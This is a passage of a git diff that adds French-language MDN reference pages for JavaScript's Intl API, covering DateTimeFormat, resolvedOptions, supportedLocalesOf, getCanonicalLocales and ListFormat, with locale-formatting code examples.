var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// DateTimeFormat sans arguments dépend de l'implémentation,
+// la locale par défaut, et le fuseau horaire par défaut
+console.log(new Intl.DateTimeFormat().format(date));
+// → "20/12/2012" avec une locale fr-Fr et un fuseau horaire CEST
+ +

Utiliser locales

+ +

Cet exemple montre quelques variations de formattage pour les dates et les heures localisées. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument locales :

+ +
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// les formats qui suivent se basent sur le
+// fuseau horaire CEST
+
+// l'anglais américain utilise l'ordre mois-jour-année
+console.log(new Intl.DateTimeFormat("en-US").format(date));
+// → "12/20/2012"
+
+// l'anglais britannique utilise l'ordre jour-mois-année
+console.log(new Intl.DateTimeFormat("en-GB").format(date));
+// → "20/12/2012"
+
+// le coréen utilise l'ordre année-mois-jour
+console.log(new Intl.DateTimeFormat("ko-KR").format(date));
+// → "2012. 12. 20."
+
+// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
+console.log(new Intl.DateTimeFormat("ar-EG").format(date));
+// → "٢٠‏/١٢‏/٢٠١٢"
+
+// en ce qui concerne le japonais, les applications peuvent
+// souhaiter utiliser le calendrier japonais
+// pour lequel 2012 était l'année 24 de l'ère Heisei
+console.log(new Intl.DateTimeFormat("ja-JP-u-ca-japanese").format(date));
+// → "24/12/20"
+
+// quand un langage non support est demandé (ex : le balinais)
+// il est possible de fournir un langage de recours (ici l'indonésien)
+console.log(new Intl.DateTimeFormat(["ban", "id"]).format(date));
+// → "20/12/2012"
+
+ +

Utiliser options

+ +

Les formats de la date et de l'heure peuvent être personnalisés en utilisant l'argument options :

+ +
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// fournir le jour de la semaine avec une date longue
+var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
+console.log(new Intl.DateTimeFormat("de-DE", options).format(date));
+// → "Donnerstag, 20. Dezember 2012"
+
+// une application peut vouloir utiliser UTC et le rendre visible
+options.timeZone = "UTC";
+options.timeZoneName = "short";
+console.log(new Intl.DateTimeFormat("en-US", options).format(date));
+// → "Thursday, December 20, 2012, GMT"
+
+// parfois, vous voulez être précis
+options = {hour: "numeric", minute: "numeric", second: "numeric",
+           timeZoneName: "short"};
+console.log(new Intl.DateTimeFormat("en-AU", options).format(date));
+// → "2:00:00 pm AEDT"
+
+// parfois, même les USA ont besoin d'afficher une heure sur 24h
+options = {year: "numeric", month: "numeric", day: "numeric",
+           hour: "numeric", minute: "numeric", second: "numeric",
+           hour12: false};
+console.log(new Intl.DateTimeFormat("en-US", options));
+// → "12/19/2012, 19:00:00"
+
+// pour utiliser la locale par défaut du navigateur :
+console.log(new Intl.DateTimeFormat('default', options).format(date));
+// → "12/19/2012, 19:00:00" (peut varier selon la locale du navigateur)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-12.1', 'Intl.DateTimeFormat')}}{{Spec2('ES Int 1.0')}}Première définition.
{{SpecName('ES Int 2.0', '#sec-12.1', 'Intl.DateTimeFormat')}}{{Spec2('ES Int 2.0')}}
{{SpecName('ES Int Draft', '#datetimeformat-objects', 'Intl.DateTimeFormat')}}{{Spec2('ES Int Draft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.DateTimeFormat")}}

+ +

Voir aussi

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}
diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/resolvedoptions/index.html new file mode 100644 index 0000000000..b91083bb16 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/resolvedoptions/index.html @@ -0,0 +1,105 @@ +--- +title: Intl.DateTimeFormat.prototype.resolvedOptions() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/resolvedOptions +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/resolvedOptions +--- +
{{JSRef}}
+ +

La méthode Intl.DateTimeFormat.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent les options de format et de locale pour les heures et dates, calculées pendant l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

+ +
{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-resolvedoptions.html")}}
+ + + +

Syntaxe

+ +
dateTimeFormat.resolvedOptions()
+ +

Valeur de retour

+ +

Un nouvel objet dont les propriétés reflètent les options de format et de locale pour les heures et dates, calculées pendant l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}

+ +

Description

+ +

La valeur renvoyée par cette méthode contient les propriétés suivantes :

+ +
+
locale
+
La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans locale.
+
calendar
+
Le calendrier utilisé (ex. "gregory" pour le calendrier grégorien).
+
numberingSystem
+
Les valeurs demandées pour les extensions Unicode "ca" et "nu" ou leurs valeurs par défaut.
+
timeZone
+
La valeur fournie par l'argument options pour cette propriété ou {{jsxref("undefined")}} (qui représente le fuseau horaire de l'environnement) si aucune valeur n'a été fournie. Les applications ne doivent pas s'appuyer sur ce dernier cas. En effet, de futures versions pourraient renvoyer une chaîne de caractères représentant le fuseau horaire de l'environnement et non pas undefined.
+
hour12
+
La valeur fournie pour cette propriété dans l'argument options.
+
weekday
+
era
+
year
+
month
+
day
+
hour
+
minute
+
second
+
timeZoneName
+
Les valeurs qui correspondent entre les propriétés de l'argument options et les combinaisons disponibles dans l'environnement pour les formats de date et d'heure pour la locale. Certaines de ces propriétés peuvent ne pas être présentes, cela indique que les composants indiqués ne seront pas représentés.
+
+ +

Exemples

+ +
var germanFakeRegion = new Intl.DateTimeFormat("de-XX", { timeZone: "UTC" });
+var usedOptions = germanFakeRegion.resolvedOptions();
+
+usedOptions.locale;          // "de"
+usedOptions.calendar;        // "gregory"
+usedOptions.numberingSystem; // "latn"
+usedOptions.timeZone;        // "UTC"
+usedOptions.month;           // "numeric"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-12.3.3', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-Intl.DateTimeFormat.prototype.resolvedOptions', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.resolvedOptions', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.DateTimeFormat.resolvedOptions")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.html new file mode 100644 index 0000000000..079c20ae21 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.html @@ -0,0 +1,98 @@ +--- +title: Intl.DateTimeFormat.supportedLocalesOf() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/supportedLocalesOf +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/supportedLocalesOf +--- +
{{JSRef}}
+ +

À partir d'une locale ou d'un tableau de locales Intl.DateTimeFormat.supportedLocalesOf() renvoie un tableau qui contient les locales supportées pour le formatage des dates et des heures qui ne nécessitent pas d'avoir recours à la locale par défaut de l'environnement.

+ +
{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-supportedlocalesof.html")}}
+ + + +

Syntaxe

+ +
Intl.DateTimeFormat.supportedLocalesOf(locales[, options])
+ +

Paramètres

+ +
+
locales
+
Un chaîne de caractères au format d'une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations sur le format de l'argument locales, voir la page {{jsxref("Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.
+
options
+
+

Paramètre optionnel, un objet pouvant avoir la propriété suivante :

+ +
+
localeMatcher
+
L'algorithme de correspondance entre locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". Pour plus d'informations sur ce sujet, voir la page {{jsxref("Intl", "Intl", "#Choix_de_la_locale")}}.
+
+
+
+ +

Valeur de retour

+ +

Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langue qui sont prises en charge pour la mise en forme de l'heure et de la date sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.

+ +

Description

+ +

Renvoie un tableau qui est un sous-ensemble de locales. Les balises de langues renvoyées sont celles supportées par l'environnement pour le formatage des heures et des dates. Ces balises sont déterminées en fonction de l'algorithme de correspondances de locale et des locales utilisées. Le tableau résultant fournit les locales qui permettent de ne pas avoir à utiliser la locale par défaut.

+ +

Exemple

+ +

Utiliser supportedLocalesOf

+ +

Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des dates et des heures,  supportedLocalesOf renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les dates ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme "lookup". Si on utilisait "best fit", on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.

+ +
var locales = ["ban", "id-u-co-pinyin", "de-ID"];
+var options = {localeMatcher: "lookup"};
+console.log(Intl.DateTimeFormat.supportedLocalesOf(locales, options).join(", "));
+// → "id-u-co-pinyin, de-ID"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.supportedLocalesOf', 'Intl.DateTimeFormat.supportedLocalesOf')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.DateTimeFormat.supportedLocalesOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/getcanonicallocales/index.html b/files/fr/web/javascript/reference/global_objects/intl/getcanonicallocales/index.html new file mode 100644 index 0000000000..e0fc40a55d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/getcanonicallocales/index.html @@ -0,0 +1,73 @@ +--- +title: Intl.getCanonicalLocales() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/getCanonicalLocales +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/getCanonicalLocales +--- +
{{JSRef}}
+ +

La méthode Intl.getCanonicalLocales() renvoie un tableau contenant les noms canoniques des locales. Les doublons seront fusionnés et les éléments passés en arguments doivent être des étiquettes de langues valides.

+ +
{{EmbedInteractiveExample("pages/js/intl-getcanonicallocales.html")}}
+ + + +

Syntaxe

+ +
Intl.getCanonicalLocales(locales)
+ +

Paramètres

+ +
+
locales
+
Une liste de chaînes ({{jsxref("String")}}) dont on veut obtenir les noms canoniques pour les locales correspondantes.
+
+ +

Valeur de retour

+ +

Un tableau qui contient les noms canoniques des locales.

+ +

Exemples

+ +
Intl.getCanonicalLocales("EN-US"); // ["en-US"]
+Intl.getCanonicalLocales(["EN-US", "Fr"]); // ["en-US", "fr"]
+
+Intl.getCanonicalLocales("EN_US");
+// RangeError:'EN_US' is not a structurally valid language tag
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int Draft', '#sec-intl.getcanonicallocales', 'Intl.getCanonicalLocales')}}{{Spec2('ES Int Draft')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.getCanonicalLocales")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}
    • +
  • {{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}
    • +
  • {{jsxref("Collator.supportedLocalesOf", "Intl.Collator.supportedLocalesOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/index.html b/files/fr/web/javascript/reference/global_objects/intl/index.html new file mode 100644 index 0000000000..26062d308d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/index.html @@ -0,0 +1,163 @@ +--- +title: Intl +slug: Web/JavaScript/Reference/Objets_globaux/Intl +tags: + - Espace de noms + - Internationalisation + - Intl + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl +--- +
{{JSRef}}
+ +

L'objet Intl est l'espace de noms pour l'API d'Internationalisation d'ECMAScript. Elle fournit des outils de comparaison de chaînes de caractères, de formatage des nombres, de dates et de l'heure selon les langues. Intl donne accès à plusieurs constructeurs et fonctionnalités communs aux constructeurs destinés à l'internationalion et à d'autres fonctions dépendantes des langues.

+ +

Propriétés constructrices

+ +
+
{{jsxref("Objets_globaux/Collator", "Intl.Collator")}}
+
Le constructeur pour les ordonnanceurs (collators en anglais) et les objets qui permettent la comparaison de chaînes de caractères selon les règles spécifiques d'une langue.
+
{{jsxref("Objets_globaux/DateTimeFormat", "Intl.DateTimeFormat")}}
+
Le constructeur pour les objets qui permettent le formatage des dates et de l'heure selon les règles spécifiques d'une langue.
+
{{jsxref("Global_Objects/Intl/DisplayNames/DisplayNames", "Intl.DisplayNames()")}}
+
Le constructeur pour les objets qui permettent de fournir des traductions constantes de noms de langues, régions et systèmes d'écriture.
+
{{jsxref("Objets_globaux/ListFormat", "Intl.ListFormat")}}
+
Le constructeur pour les objets qui permettent le formatage des listes selon les règles spécifiques d'une langue.
+
{{jsxref("Global_Objects/Intl/Locale/Locale", "Intl.Locale()")}}
+
Le constructeur pour les objets qui représentent un identifiant de langue Unicode.
+
{{jsxref("Objets_globaux/NumberFormat", "Intl.NumberFormat")}}
+
Le constructeur pour les objets qui permettent le formatage des nombres selon les règles spécifiques d'une langue.
+
{{jsxref("Objets_globaux/PluralRules","Intl.PluralRules")}}
+
Le constructeur pour les objets qui permettent le formatage prenant en compte le pluriel et les règles de pluriel spécifiques d'une langue.
+
{{jsxref("Objets_globaux/RelativeTimeFormat","Intl.RelativeTimeFormat")}}
+
Le constructeur pour les objets qui permettent le formatage d'intervalles de temps spécifiques d'une langue.
+
+ +

Méthodes statiques

+ +
+
{{jsxref("Intl.getCanonicalLocales()")}}
+
Méthode renvoyant les noms canoniques des locales.
+
+ +

Identification et choix de la locale

+ +

Les constructeurs d'internationalisation, ainsi que plusieurs autres méthodes spécifiques à une langue dans d'autres constructeurs (voir ci-dessous {{anch("See_also", "Voir aussi")}}), utilisent un schéma commun pour identifier les locales et déterminer celle qu'ils utiliseront effectivement : ils acceptent tous les arguments locales et options, et ils négocient les locales demandées face aux locales qu'ils supportent, en utilisant un algorithme spécifié dans la propriété options.localeMatcher.

+ +

Argument locales

+ +

L'argument locales peut être soit une chaîne de caractères comportant une balise de langue BCP 47, soit un tableau de telles balises. Si l'argument n'est pas fourni ou est indéfini, la locale par défaut de l'environnement d'exécution est utilisée.

+ +

Une balise de langue BCP 47 définit un langage et contient au minimum un code de langue principale. Dans sa forme la plus fréquente, elle peut contenir, dans l'ordre : un code de langue, un code de script et un code de pays ou de région, tous séparés par des tirets. Bien que la balise ne soit sensible à la casse, il est recommandé d'utiliser des initiales majuscules pour le code de script, des majuscules pour les codes de pays et de région, et des minuscules pour tout le reste.

+ +

Exemples :

+ +
    +
  • "hi" : Hindi (langue principale).
    • +
  • "de-AT" : Allemand tel qu'utilisé en Autriche (langue principale avec un code pays).
    • +
  • "zh-Hans-CN" : Le chinois écrit en caractères simplifiés tel qu'utilisé en Chine (langue principale avec des codes de script et de pays).
    • +
+ +

Les sous balises identifiant les langues, les scripts, les pays (régions) et les variantes (rarement utilisées) dans les balises de langue BCP 47 peuvent être trouvées dans le registre IANA des Sous balises de Langues

+ +

La BCP 47 permet également des extensions. Les fonctions d'internalisation de JavaScript utilisent l'extension "u" (Unicode), qui peut utilisée pour demander une personnalisation supplémentaire des objets {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, ou {{jsxref("DateTimeFormat")}}. Exemples :

+ +
    +
  • "de-DE-u-co-phonebk" : utiliser la variante annuaire de l'ordre de tri allemand, qui décompose les voyelles infléchies (à umlaut) en paires de caractères : ä → ae, ö → oe, ü → ue.
    • +
  • "th-TH-u-nu-thai" : utiliser les chiffres thaïs (๐, ๑, ๒, ๓, ๔, ๕, ๖, ๗, ๘, ๙) dans le formatage des nombres.
    • +
  • "ja-JP-u-ca-japanese" : utiliser le calendrier japonais dans le formatage des dates et des heures, de sorte que 2013 soit exprimé comme l'an 25 de l'ère Heisei, ou 平成25.
    • +
  • "en-GB-u-ca-islamic" : utiliser l'anglais britannique avec le calendrier islamique (Hijri), où la date grégorienne 14 octobre 2017 est la date de l'ère de l'Hégire 24 Muharram,1439.
    • +
+ +

Négociation de la locale

+ +

L'argument locales, après retrait de toutes les extensions Unicode, est interprété comme une requête classée par priorité émanant de l'application. L'environnement d'exécution le compare aux locales dont il dispose et choisit la meilleure disponible. Il existe deux algorithmes d'association : l'apparieur "lookup" suit l'algorithme Lookup spécifié dans BCP 47; l'apparieur "meilleure correspondance" laisse l'environnement d'exécution fournir une locale qui est au moins aussi, mais possiblement mieux, adaptée à la demande que le résultat de l'algorithme Lookup. Si l'application ne fournit pas d'argument locales ou que l'environnement d'exécution ne dispose pas d'une locale qui corresponde à la requête, alors la locale par défaut de l'environnement d'exécution est utilisée. L'apparieur peut être choisi en utilisant une propriété de l'argument options (voir ci-dessous).

+ +

Si la balise de la langue choisie comporte une sous chaîne d'extension Unicode, cette extension est maintenant utilisée pour personnaliser l'objet construit ou le comportement de la fonction. Chaque constructeur ou fonction ne supporte qu'un sous-ensemble des clés définies pour le extension Unicode, et les valeurs supportées dépendent souvent de la balise de langue. Par exemple, la clé "co" (collation) n'est supportée que par le constructeur {{jsxref("Collator")}}, et sa valeur "phonebk" n'est supportée que pour l'allemand.

+ +

Argument options

+ +

L'argument options doit être un objet ayant des propriétés qui varient suivant qu'il s'agit des constructeurs ou des fonctions. Si l'argument options n'est pas fourni ou est indéfini, des valeurs par défaut seront utilisées pour toutes les propriétés.

+ +

Une propriété est supportée par tous les constructeurs et toutes les fonctions fondés sur les locales : la propriété localeMatcher, dont la valeur doit être la chaîne "lookup" ou "best fit", et qui sélectionne l'un des algorithmes d'appariement décrits ci-dessus.

+ +

Exemples

+ +

Formater des dates et nombres

+ +

Vous pouvez utiliser Intl pour formater des dates et nombres dans un format qui est conventionnel pour une langue et une région spécifiques :

+ +
const compte = 26254.39;
+const date = new Date("2012-05-24");
+
+function afficher (langue) {
+  console.log(
+    `${new Intl.DateTimeFormat(langue).format(date)} ${new Intl.NumberFormat(langue).format(compte)}`
+  );
+}
+
+afficher("en-US");
+// résultat attendu : 5/24/2012 26,254.39
+
+afficher("de-DE");
+// résultat attendu : 24.5.2012 26.254,39
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-8', 'Intl')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-8', 'Intl')}}{{Spec2('ES Int 2.0')}}
{{SpecName('ES Int Draft', '#intl-object', 'Intl')}}{{Spec2('ES Int Draft')}}Ajout de Intl.getCanonicalLocales dans la 4e édition.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl")}}

+ +

Voir aussi

+ +
    +
  • Introduction : 'The ECMAScript Internationalisation API
    • +
  • Constructeurs +
      +
    • {{jsxref("Collator", "Intl.Collator")}}
      • +
    • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
      • +
    • {{jsxref("ListFormat", "Intl.ListFormat")}}
      • +
    • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
      • +
    • {{jsxref("PluralRules", "Intl.PluralRules")}}
      • +
    • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
      • +
    • {{jsxref("Locale", "Intl.Locale")}}
      • +
    +
    • +
  • Méthodes +
      +
    • {{jsxref("String.prototype.localeCompare()")}}
      • +
    • {{jsxref("Number.prototype.toLocaleString()")}}
      • +
    • {{jsxref("Date.prototype.toLocaleString()")}}
      • +
    • {{jsxref("Date.prototype.toLocaleDateString()")}}
      • +
    • {{jsxref("Date.prototype.toLocaleTimeString()")}}
      • +
    +
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/format/index.html b/files/fr/web/javascript/reference/global_objects/intl/listformat/format/index.html new file mode 100644 index 0000000000..330767cb8c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/format/index.html @@ -0,0 +1,68 @@ +--- +title: Intl​.ListFormat.prototype​.format() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/format +tags: + - Internationalisation + - Intl + - JavaScript + - ListFormat + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/format +--- +
{{JSRef}}
+ +

La méthode format() renvoie une chaîne de caractères représentant la liste passée en argument, mise en forme selon la langue choisie (lors de la construction de l'objet Intl.ListFormat).

+ +
{{EmbedInteractiveExample("pages/js/intl-listformat.html")}}
+ +

Description

+ +

La méthode format() renvoie une chaîne de caractères qui a été formatée en fonction des paramètres fournis à l'objet Intl.ListFormat. Les paramètres locales et options permettent de personnaliser le comportement de format() et de gérer différentes conventions linguistiques au sein d'une application, notamment pour la mise en forme des listes.

+ +

Syntaxe

+ +
listFormat.format([list]);
+ +

Paramètres

+ +
+
list
+
Un objet itérable (ex. un tableau / {{jsxref("Array")}}).
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant les éléments de la liste et mise en forme en fonction de la langue souhaitée (grâce au paramètre locales passé au constructeur Intl.ListFormat).

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormat.prototype.formatProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.ListFormat.format")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/formattoparts/index.html b/files/fr/web/javascript/reference/global_objects/intl/listformat/formattoparts/index.html new file mode 100644 index 0000000000..fb3abe8afd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/formattoparts/index.html @@ -0,0 +1,90 @@ +--- +title: Intl​.List​Format​.prototype​.formatToParts() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/formatToParts +tags: + - Internationalisation + - Intl + - JavaScript + - ListFormat + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/formatToParts +--- +
{{JSRef}}{{Draft}}
+ +

La méthode Intl.ListFormat.prototype.formatToParts() renvoie un tableau ({{jsxref("Array")}}) d'objets représentants les différentes composantes de la chaine de caractères qui est le résultat du formatage de la liste (selon les options de locale et de style indiquées).

+ +

Syntaxe

+ +
Intl.ListFormat.prototype.formatToParts(list)
+
+ +

Paramètres

+ +
+
list
+
Un tableau ({{jsxref("Array")}}) de valeurs à mettre en forme selon une locale et des options de style.
+
+ +

Valeur de retour

+ +

Un tableau ({{jsxref("Array")}}) de fragments composants la chaîne de caractères pour la liste formatée.

+ +

Description

+ +

Alors que la méthode {{jsxref("ListFormat.prototype.format()", "Intl.ListFormat.prototype.format()")}} renvoie une chaîne de caractères avec la liste formatée (en fonction de la locale et des options de style), formatToParts() renvoie un tableau des différentes composantes de cette chaîne.

+ +

Chaque élément du tableau résultant possède deux propriétés : type et value. La propriété type pourra valoir "element" (pour indiquer une valeur de la liste) ou "literal" (pour indiquer un élément linguistique). La propriété value fournit quant à elle le contenu du fragment sous forme d'une chaîne de caractères.

+ +

Les options de locale et de style utilisées pour le formatage sont fournies lors de la construction de l'instance {{jsxref("ListFormat", "Intl.ListFormat")}}.

+ +

Exemples

+ +
const fruits = ['Apple', 'Orange', 'Pineapple'];
+const myListFormat = new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' });
+
+console.table(myListFormat.formatToParts(fruits));
+// [
+//  { "type": "element", "value": "Apple" },
+//  { "type": "literal", "value": ", " },
+//  { "type": "element", "value": "Orange" },
+//  { "type": "literal", "value": ", and " },
+//  { "type": "element", "value": "Pineapple" }
+// ]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Intl.ListFormat.prototype.formatToParts proposalStage 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.ListFormat.formatToParts")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • +
  • {{jsxref("ListFormat.prototype.format()", "Intl.ListFormat.prototype.format()")}}
    • +
  • {{jsxref("RelativeTimeFormat.formatToParts()", "Intl.RelativeTimeFormat.prototype.formatToParts()")}}
    • +
  • {{jsxref("NumberFormat.formatToParts()", "Intl.NumberFormat.prototype.formatToParts()")}}
    • +
  • {{jsxref("DateTimeFormat.formatToParts()", "Intl.DateTimeFormat.prototype.formatToParts()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/index.html b/files/fr/web/javascript/reference/global_objects/intl/listformat/index.html new file mode 100644 index 0000000000..03dac95c7f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/index.html @@ -0,0 +1,153 @@ +--- +title: Intl.ListFormat +slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat +tags: + - Experimental + - Internationalisation + - Intl + - JavaScript + - ListFormat + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat +--- +
{{JSRef}}
+ +

L'objet Intl.ListFormat est un constructeur d'objets qui permettent de formater des listes de façon différente selon la langue utilisée.

+ +
{{EmbedInteractiveExample("pages/js/intl-listformat.html")}}
+ + + +

Syntax

+ +
new Intl.ListFormat([locales[, options]])
+
+ +

Paramètres

+ +
+
locales{{optional_inline}}
+
+

Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.

+
+
options{{optional_inline}}
+
+

Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes :

+ +
+
localeMatcher
+
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Intl","Intl","##Choix_de_la_locale")}}.
+
type
+
Le format de sortie pour le message. Les valeurs possibles sont : +
    +
  • "conjunction" : qui concaténera les éléments de la liste avec des et. Cela produira par exemple, en anglais : A, B, and C
    • +
  • "disjunction" : qui concaténera les éléments de la liste avec des ou. Cela produira par exemple, en anglais : A, B, or C
    • +
  • "unit" : qui permet de gérer des listes de valeurs avec des unités. Cela produira par exemple 5 livres, 12 onces
    • +
+
+
style
+
Le niveau de concision/longueur du message obtenu. Les valeurs possibles sont : +
    +
  • "long" : par exemple A, B, and C
    • +
  • "narrow" : cette valeur permet uniquement d'utiliser le type unit et affichera un message concis : par exemple A, B, C
    • +
  • "short" : par exemple A, B, C
    • +
+
+
+
+
+ +

Description

+ +

Propriétés

+ +
+
{{jsxref("ListFormat.prototype", "Intl.ListFormat.prototype")}}
+
Cette propriété permet d'ajouter des propriétés à l'ensemble des objets de ce type.
+
+ +

Méthodes

+ +
+
{{jsxref("ListFormat.supportedLocalesOf", "Intl.ListFormat.supportedLocalesOf()")}}
+
Cette méthode renvoie un tableau des locales prises en charge par le moteur pour le formatage des heures sans qu'il y ait besoin d'utiliser la locale de l'environnement d'exécution.
+
+ +

Instances de Intl.ListFormat

+ +

Toutes les instances de Intl.ListFormat héritent de Intl.ListFormat.prototype.

+ +

Propriétés

+ +
+
Intl.ListFormat.prototype.constructor
+
Définit la fonction qui crée le prototype d'un objet.
+
+ +

Méthodes

+ +
+
{{jsxref("ListFormat.prototype.format","Intl.ListFormat.prototype.format()")}}
+
Renvoie une chaîne de caractères mise en forme selon la langue voulue et qui représente les éléments de la liste.
+
+ +

Exemples

+ +

Utiliser format()

+ +

Dans l'exemple qui suit, on voit comment créer un formateur de liste pour l'anglais.

+ +
